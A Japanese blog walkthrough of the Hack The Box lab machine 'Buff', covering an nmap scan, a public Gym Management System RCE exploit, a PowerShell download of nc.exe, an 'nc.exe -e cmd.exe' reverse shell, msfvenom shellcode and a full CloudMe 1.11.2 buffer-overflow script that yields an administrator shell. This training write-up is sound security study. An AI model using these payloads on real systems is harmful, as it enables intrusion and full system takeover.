筆者は Hack the Box 初心者です。 何か訂正や補足、アドバイスなどありましたら、コメントか Twitter までお願いします。 さんぽし(@sanpo_shiho) | Twitter
cheat sheet
以下で cheat sheet としてツールの使い方などをまとめています。参考にしてください。 github | sanposhiho/MYCHEATSHEET
machine について
難易度は easy です。
nmap
kali@kali:~$ nmap -p- --min-rate 10000 10.10.10.198 -Pn
Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-24 01:42 EST
Nmap scan report for 10.10.10.198
Host is up (0.24s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE
7680/tcp open pando-pub
8080/tcp open http-proxy
Nmap done: 1 IP address (1 host up) scanned in 52.85 seconds
8080 ポート
contact ページ
mrb3n's Bro Hut
Made using Gym Management Software 1.0
ソフトウェアと version っぽいですね
exploit 探す
↓ 良さげのが見つかりました
Gym Management System 1.0 - Unauthenticated Remote Code Execution
kali@kali:~$ python gym.py http://10.10.10.198:8080/
/\
/vvvvvvvvvvvv \--------------------------------------,
`^^^^^^^^^^^^ /============BOKU====================="
\/
[+] Successfully connected to webshell.
C:\xampp\htdocs\gym\upload> whoami
�PNG
▒
buff\shaun
サクッと shell がとれちゃいました、これで user.txt が取れます
webshell を nc でちゃんとした shell にします
kali から nc.exe を upload します
↓Kali
kali@kali:/usr/share/windows-resources/binaries$ python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
↓target
C:\xampp\htdocs\gym\upload> powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.10.14.3:8000/nc.exe','nc.exe')"
�PNG
▒
C:\xampp\htdocs\gym\upload> .\nc.exe -e cmd.exe 10.10.14.3 4242
↓kali で待ち受けておいた nc に繋がりました
kali@kali:~$ nc -lnvp 4242
listening on [any] 4242 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.10.198] 49699
Microsoft Windows [Version 10.0.17134.1610]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\xampp\htdocs\gym\upload>
PE
C:\xampp\htdocs\gym\upload>netstat -ano
netstat -ano
Active Connections
Proto Local Address Foreign Address State PID
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 948
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:5040 0.0.0.0:0 LISTENING 5776
TCP 0.0.0.0:7680 0.0.0.0:0 LISTENING 8464
TCP 0.0.0.0:8080 0.0.0.0:0 LISTENING 6744
TCP 0.0.0.0:49664 0.0.0.0:0 LISTENING 524
TCP 0.0.0.0:49665 0.0.0.0:0 LISTENING 1096
TCP 0.0.0.0:49666 0.0.0.0:0 LISTENING 1628
TCP 0.0.0.0:49667 0.0.0.0:0 LISTENING 2220
TCP 0.0.0.0:49668 0.0.0.0:0 LISTENING 672
TCP 0.0.0.0:49669 0.0.0.0:0 LISTENING 692
TCP 10.10.10.198:139 0.0.0.0:0 LISTENING 4
TCP 10.10.10.198:8080 10.10.14.3:60184 ESTABLISHED 6744
TCP 10.10.10.198:49678 10.10.14.3:4242 ESTABLISHED 6868
TCP 127.0.0.1:3306 0.0.0.0:0 LISTENING 4196
TCP 127.0.0.1:8888 0.0.0.0:0 LISTENING 6816
TCP [::]:135 [::]:0 LISTENING 948
TCP [::]:445 [::]:0 LISTENING 4
TCP [::]:7680 [::]:0 LISTENING 8464
TCP [::]:8080 [::]:0 LISTENING 6744
TCP [::]:49664 [::]:0 LISTENING 524
TCP [::]:49665 [::]:0 LISTENING 1096
TCP [::]:49666 [::]:0 LISTENING 1628
TCP [::]:49667 [::]:0 LISTENING 2220
TCP [::]:49668 [::]:0 LISTENING 672
TCP [::]:49669 [::]:0 LISTENING 692
UDP 0.0.0.0:5050 *:* 5776
UDP 0.0.0.0:5353 *:* 2036
UDP 0.0.0.0:5355 *:* 2036
UDP 0.0.0.0:63697 *:* 2036
UDP 10.10.10.198:137 *:* 4
UDP 10.10.10.198:138 *:* 4
UDP 10.10.10.198:1900 *:* 6112
UDP 10.10.10.198:60066 *:* 6112
UDP 127.0.0.1:1900 *:* 6112
UDP 127.0.0.1:59888 *:* 3056
UDP 127.0.0.1:60067 *:* 6112
UDP [::]:5353 *:* 2036
UDP [::]:5355 *:* 2036
UDP [::]:63697 *:* 2036
UDP [::1]:1900 *:* 6112
UDP [::1]:60065 *:* 6112
UDP [fe80::d1b0:13b5:fe5e:789b%10]:1900 *:* 6112
UDP [fe80::d1b0:13b5:fe5e:789b%10]:60064 *:* 6112
C:\xampp\htdocs\gym\upload>netstat -ano
netstat -ano
Active Connections
Proto Local Address Foreign Address State PID
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 948
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:5040 0.0.0.0:0 LISTENING 5776
TCP 0.0.0.0:7680 0.0.0.0:0 LISTENING 8464
TCP 0.0.0.0:8080 0.0.0.0:0 LISTENING 6744
TCP 0.0.0.0:49664 0.0.0.0:0 LISTENING 524
TCP 0.0.0.0:49665 0.0.0.0:0 LISTENING 1096
TCP 0.0.0.0:49666 0.0.0.0:0 LISTENING 1628
TCP 0.0.0.0:49667 0.0.0.0:0 LISTENING 2220
TCP 0.0.0.0:49668 0.0.0.0:0 LISTENING 672
TCP 0.0.0.0:49669 0.0.0.0:0 LISTENING 692
TCP 10.10.10.198:139 0.0.0.0:0 LISTENING 4
TCP 10.10.10.198:8080 10.10.14.3:60184 ESTABLISHED 6744
TCP 10.10.10.198:49678 10.10.14.3:4242 ESTABLISHED 6868
TCP 127.0.0.1:3306 0.0.0.0:0 LISTENING 4196
TCP 127.0.0.1:8888 0.0.0.0:0 LISTENING 5220
TCP [::]:135 [::]:0 LISTENING 948
TCP [::]:445 [::]:0 LISTENING 4
TCP [::]:7680 [::]:0 LISTENING 8464
TCP [::]:8080 [::]:0 LISTENING 6744
TCP [::]:49664 [::]:0 LISTENING 524
TCP [::]:49665 [::]:0 LISTENING 1096
TCP [::]:49666 [::]:0 LISTENING 1628
TCP [::]:49667 [::]:0 LISTENING 2220
TCP [::]:49668 [::]:0 LISTENING 672
TCP [::]:49669 [::]:0 LISTENING 692
UDP 0.0.0.0:5050 *:* 5776
UDP 0.0.0.0:5353 *:* 2036
UDP 0.0.0.0:5355 *:* 2036
UDP 0.0.0.0:50985 *:* 2036
UDP 0.0.0.0:52770 *:* 2036
UDP 0.0.0.0:54090 *:* 2036
UDP 0.0.0.0:65022 *:* 2036
UDP 10.10.10.198:137 *:* 4
UDP 10.10.10.198:138 *:* 4
UDP 10.10.10.198:1900 *:* 6112
UDP 10.10.10.198:60066 *:* 6112
UDP 127.0.0.1:1900 *:* 6112
UDP 127.0.0.1:59888 *:* 3056
UDP 127.0.0.1:60067 *:* 6112
UDP [::]:5353 *:* 2036
UDP [::]:5355 *:* 2036
UDP [::]:50985 *:* 2036
UDP [::]:52770 *:* 2036
UDP [::]:54090 *:* 2036
UDP [::]:65022 *:* 2036
UDP [::1]:1900 *:* 6112
UDP [::1]:60065 *:* 6112
UDP [fe80::d1b0:13b5:fe5e:789b%10]:1900 *:* 6112
UDP [fe80::d1b0:13b5:fe5e:789b%10]:60064 *:* 6112
C:\xampp\htdocs\gym\upload>tasklist /v
tasklist /v
Image Name PID Session Name Session# Mem Usage Status User Name CPU Time Window Title
========================= ======== ================ =========== ============ =============== ================================================== ============ ========================================================================
CloudMe.exe 5220 0 38,580 K Unknown N/A 0:00:00 N/A
(必要なやつ以外略)
8888 番ポートで CloudMe というプロセスが動作してることがわかります
いろいろ探していくと
C:\Users\shaun\Downloads>dir
dir
Volume in drive C has no label.
Volume Serial Number is A22D-49F7
Directory of C:\Users\shaun\Downloads
14/07/2020 12:27 <DIR> .
14/07/2020 12:27 <DIR> ..
16/06/2020 15:26 17,830,824 CloudMe_1112.exe
1 File(s) 17,830,824 bytes
2 Dir(s) 9,816,489,984 bytes free
いや苦労して netstat から見つけなくても Downloads 以下におる〜
多分だけど version は 1.11.2 ですよね、ファイル名的に
なのでこれを試します
CloudMe 1.11.2 - Buffer Overflow (PoC)
kali@kali:~$ msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=10.10.14.3 LPORT=1234 -b '\x00\x0A\x0D' -f python
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1712 bytes
buf = b""
buf += b"\xbd\x27\xdd\x84\xc4\xdb\xc2\xd9\x74\x24\xf4\x5b\x31"
buf += b"\xc9\xb1\x52\x31\x6b\x12\x03\x6b\x12\x83\xcc\x21\x66"
buf += b"\x31\xee\x32\xe5\xba\x0e\xc3\x8a\x33\xeb\xf2\x8a\x20"
buf += b"\x78\xa4\x3a\x22\x2c\x49\xb0\x66\xc4\xda\xb4\xae\xeb"
buf += b"\x6b\x72\x89\xc2\x6c\x2f\xe9\x45\xef\x32\x3e\xa5\xce"
buf += b"\xfc\x33\xa4\x17\xe0\xbe\xf4\xc0\x6e\x6c\xe8\x65\x3a"
buf += b"\xad\x83\x36\xaa\xb5\x70\x8e\xcd\x94\x27\x84\x97\x36"
buf += b"\xc6\x49\xac\x7e\xd0\x8e\x89\xc9\x6b\x64\x65\xc8\xbd"
buf += b"\xb4\x86\x67\x80\x78\x75\x79\xc5\xbf\x66\x0c\x3f\xbc"
buf += b"\x1b\x17\x84\xbe\xc7\x92\x1e\x18\x83\x05\xfa\x98\x40"
buf += b"\xd3\x89\x97\x2d\x97\xd5\xbb\xb0\x74\x6e\xc7\x39\x7b"
buf += b"\xa0\x41\x79\x58\x64\x09\xd9\xc1\x3d\xf7\x8c\xfe\x5d"
buf += b"\x58\x70\x5b\x16\x75\x65\xd6\x75\x12\x4a\xdb\x85\xe2"
buf += b"\xc4\x6c\xf6\xd0\x4b\xc7\x90\x58\x03\xc1\x67\x9e\x3e"
buf += b"\xb5\xf7\x61\xc1\xc6\xde\xa5\x95\x96\x48\x0f\x96\x7c"
buf += b"\x88\xb0\x43\xd2\xd8\x1e\x3c\x93\x88\xde\xec\x7b\xc2"
buf += b"\xd0\xd3\x9c\xed\x3a\x7c\x36\x14\xad\x89\xcd\x18\x2e"
buf += b"\xe6\xd3\x24\x34\x24\x5a\xc2\x5e\xd8\x0b\x5d\xf7\x41"
buf += b"\x16\x15\x66\x8d\x8c\x50\xa8\x05\x23\xa5\x67\xee\x4e"
buf += b"\xb5\x10\x1e\x05\xe7\xb7\x21\xb3\x8f\x54\xb3\x58\x4f"
buf += b"\x12\xa8\xf6\x18\x73\x1e\x0f\xcc\x69\x39\xb9\xf2\x73"
buf += b"\xdf\x82\xb6\xaf\x1c\x0c\x37\x3d\x18\x2a\x27\xfb\xa1"
buf += b"\x76\x13\x53\xf4\x20\xcd\x15\xae\x82\xa7\xcf\x1d\x4d"
buf += b"\x2f\x89\x6d\x4e\x29\x96\xbb\x38\xd5\x27\x12\x7d\xea"
buf += b"\x88\xf2\x89\x93\xf4\x62\x75\x4e\xbd\x93\x3c\xd2\x94"
buf += b"\x3b\x99\x87\xa4\x21\x1a\x72\xea\x5f\x99\x76\x93\x9b"
buf += b"\x81\xf3\x96\xe0\x05\xe8\xea\x79\xe0\x0e\x58\x79\x21"
payload をこれで置き換えます
# Exploit title: CloudMe 1.11.2 - Buffer Overflow (PoC)
# Date: 2020-04-27
# Exploit Author: Andy Bowden
# Vendor Homepage: https://www.cloudme.com/en
# Software Link: https://www.cloudme.com/downloads/CloudMe_1112.exe
# Version: CloudMe 1.11.2
# Tested on: Windows 10 x86
#Instructions:
# Start the CloudMe service and run the script.
import socket
target = "127.0.0.1"
padding1 = b"\x90" * 1052
EIP = b"\xB5\x42\xA8\x68" # 0x68A842B5 -> PUSH ESP, RET
NOPS = b"\x90" * 30
#msfvenom -a x86 -p windows/exec CMD=calc.exe -b '\x00\x0A\x0D' -f python
payload = b""
payload += b"\xbd\x27\xdd\x84\xc4\xdb\xc2\xd9\x74\x24\xf4\x5b\x31"
payload += b"\xc9\xb1\x52\x31\x6b\x12\x03\x6b\x12\x83\xcc\x21\x66"
payload += b"\x31\xee\x32\xe5\xba\x0e\xc3\x8a\x33\xeb\xf2\x8a\x20"
payload += b"\x78\xa4\x3a\x22\x2c\x49\xb0\x66\xc4\xda\xb4\xae\xeb"
payload += b"\x6b\x72\x89\xc2\x6c\x2f\xe9\x45\xef\x32\x3e\xa5\xce"
payload += b"\xfc\x33\xa4\x17\xe0\xbe\xf4\xc0\x6e\x6c\xe8\x65\x3a"
payload += b"\xad\x83\x36\xaa\xb5\x70\x8e\xcd\x94\x27\x84\x97\x36"
payload += b"\xc6\x49\xac\x7e\xd0\x8e\x89\xc9\x6b\x64\x65\xc8\xbd"
payload += b"\xb4\x86\x67\x80\x78\x75\x79\xc5\xbf\x66\x0c\x3f\xbc"
payload += b"\x1b\x17\x84\xbe\xc7\x92\x1e\x18\x83\x05\xfa\x98\x40"
payload += b"\xd3\x89\x97\x2d\x97\xd5\xbb\xb0\x74\x6e\xc7\x39\x7b"
payload += b"\xa0\x41\x79\x58\x64\x09\xd9\xc1\x3d\xf7\x8c\xfe\x5d"
payload += b"\x58\x70\x5b\x16\x75\x65\xd6\x75\x12\x4a\xdb\x85\xe2"
payload += b"\xc4\x6c\xf6\xd0\x4b\xc7\x90\x58\x03\xc1\x67\x9e\x3e"
payload += b"\xb5\xf7\x61\xc1\xc6\xde\xa5\x95\x96\x48\x0f\x96\x7c"
payload += b"\x88\xb0\x43\xd2\xd8\x1e\x3c\x93\x88\xde\xec\x7b\xc2"
payload += b"\xd0\xd3\x9c\xed\x3a\x7c\x36\x14\xad\x89\xcd\x18\x2e"
payload += b"\xe6\xd3\x24\x34\x24\x5a\xc2\x5e\xd8\x0b\x5d\xf7\x41"
payload += b"\x16\x15\x66\x8d\x8c\x50\xa8\x05\x23\xa5\x67\xee\x4e"
payload += b"\xb5\x10\x1e\x05\xe7\xb7\x21\xb3\x8f\x54\xb3\x58\x4f"
payload += b"\x12\xa8\xf6\x18\x73\x1e\x0f\xcc\x69\x39\xb9\xf2\x73"
payload += b"\xdf\x82\xb6\xaf\x1c\x0c\x37\x3d\x18\x2a\x27\xfb\xa1"
payload += b"\x76\x13\x53\xf4\x20\xcd\x15\xae\x82\xa7\xcf\x1d\x4d"
payload += b"\x2f\x89\x6d\x4e\x29\x96\xbb\x38\xd5\x27\x12\x7d\xea"
payload += b"\x88\xf2\x89\x93\xf4\x62\x75\x4e\xbd\x93\x3c\xd2\x94"
payload += b"\x3b\x99\x87\xa4\x21\x1a\x72\xea\x5f\x99\x76\x93\x9b"
payload += b"\x81\xf3\x96\xe0\x05\xe8\xea\x79\xe0\x0e\x58\x79\x21"
overrun = b"C" * (1500 - len(padding1 + NOPS + EIP + payload))
buf = padding1 + EIP + NOPS + payload + overrun
try:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target,8888))
s.send(buf)
except Exception as e:
print(sys.exc_value)
後はこれを target machine に upload してリバースシェル取って終わり!って思ったのですが、windows で python どうやって実行するんや…ってなったので、ポートフォワーディングして Kali 上で実行する事にします
chisel ってのを使用します
kali@kali:~$ ./go/bin/chisel server --port 8081 --reverse
2020/11/24 19:32:20 server: Reverse tunnelling enabled
2020/11/24 19:32:20 server: Fingerprint rXKxTcVJgT8ZG5REXez4Ts++TG4A2hwK4yHN4eImp2U=
2020/11/24 19:32:20 server: Listening on http://0.0.0.0:8081
C:\xampp\htdocs\gym\upload>.\main.exe client 10.10.14.3:8081 R:8888:127.0.0.1:8888
.\main.exe client 10.10.14.3:8081 R:8888:127.0.0.1:8888
2020/11/25 00:40:32 client: Connecting to ws://10.10.14.3:8081
2020/11/25 00:40:35 client: Connected (Latency 235.8404ms)
これで OK ですね 手元でさっきのを実行します
kali@kali:~$ python3 evil.py
これで待ち受けていた nc につながります
kali@kali:~$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.10.198] 49715
Microsoft Windows [Version 10.0.17134.1610]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
buff\administrator
root が取れました
終わりに
最近インターン忙しくて全然 Hack the Box できねぇって感じでしたが、楽しかったです